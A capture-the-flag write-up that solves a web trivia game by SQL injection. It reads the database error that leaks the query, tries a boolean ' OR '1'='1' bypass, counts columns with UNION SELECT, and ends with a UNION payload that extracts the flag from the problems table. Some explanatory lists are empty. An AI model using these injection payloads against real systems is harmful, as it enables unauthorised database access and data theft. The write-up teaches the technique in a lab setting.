The "Super Quick Logic Invitational" is a web-based logic game challenge that presents players with math and logic problems. Players must solve problems within a time limit to earn points, but the last challenge seems impossible! It simply asks "What is the flag for this CTF challenge?"
First, let's understand what we're working with:
/gameLet's attempt to solve a problem. The first one I got doing the writeup was: "What is the time complexity of finding an element in a sorted array using binary search?"
Answer: "O(log n)" (this is a common computer science fact)
Result: If correct, we get points and a new problem. If incorrect, we can try again.
After solving a few problems, let's wait out the timer to check out the game end screen to see how our attempts are recorded:
What we discover:
We have a few different options for avenues to explore to exploit this application. We could try guessing some endpoints, we could try to check if server versions are vulnerable, and we can mess with the input fields. When attempting a challenge like this, I often will start off by just putting giberish into every field I can find to try to look for an error. When doing this by putting some symbols like '";:[{]}\|,<.>/? in the trivia answer box, we get an incredibly revealing response.
Error: unrecognized token: "";:[{]}\|,<.>/?'"
Query: SELECT * FROM problems WHERE id = 180 AND answer = ''";:[{]}\|,<.>/?'
BINGO! We got SQLi!
Now let's try a basic SQL injection that should always return true:
' OR '1'='1
What this should do: Make the query SELECT * FROM problems WHERE id = X AND answer = '' OR '1'='1' which should always be true because '1'='1' is always true.
Result: It works! We get the answer marked as true! Is that the end of the challenge, we just try every challenge until we find the one with the flag, enter the payload and then win? Let's wait until the game end screen to see.
And with doing so, we get a suprising result, the answer for the challenge under "correct answer" is not the correct answer for the challenge... If we try the payload on multiple questions, we'll see they all share the same "correct answer", which is certainly wrong. Guess we haven't solved the challenge quite that easy.
Since simple boolean injection isn't working as we hoped, let's try a different approach. Perhaps the query that we're injecting is somehow returning the values that get returned to the game end screen, this would explain why we always get the same incorrect answer (probably the answer from problem 1). But before we can use UNION SELECT, we need to figure out how many columns are in the query we're returning from.
Thankfully, We can use UNION statements to figure out the number of columns. UNION combines the results of two SELECT statements, but they must have the same number of columns.
Testing 1 column:
' UNION SELECT 1 --
Result: Error - "SELECTs to the left and right of UNION do not have the same number of result columns"
Testing 2 columns:
' UNION SELECT 1,2 --
Result: Error - "SELECTs to the left and right of UNION do not have the same number of result columns"
Testing 3 columns:
' UNION SELECT 1,2,3 --
Result: Error - "SELECTs to the left and right of UNION do not have the same number of result columns"
Testing 4 columns:
' UNION SELECT 1,2,3,4 --
Result: SUCCESS - We get "Correct answer! New score: 40"
Testing 5 columns:
' UNION SELECT 1,2,3,4,5 --
Result: Error - "SELECTs to the left and right of UNION do not have the same number of result columns"
Conclusion: The problems table has exactly 4 columns.
Now that we know we have four columns, let's try injecting random data to see if any of it is reflected in the game end screen.
' UNION SELECT 'a','b','c','d' --
What this does: Injects our own data into the result set, where:
When we check the game end screen, we see that our injected data appears in the "correct_answer" field. Specifically, we see:
{ "correct_answer": "c", "problem_id": 183, "question": "What is the square root of 256?", "score_earned": 50, "solved": true}
What this tells us:
Now we understand how to extract the flag:
Why this approach works:
The final payload:
' UNION SELECT null,null,(SELECT answer FROM problems WHERE id = 201),null --
After using that payload, we simply wait the 30 seconds to reach the end screen, which will show our flag in the correct answer box.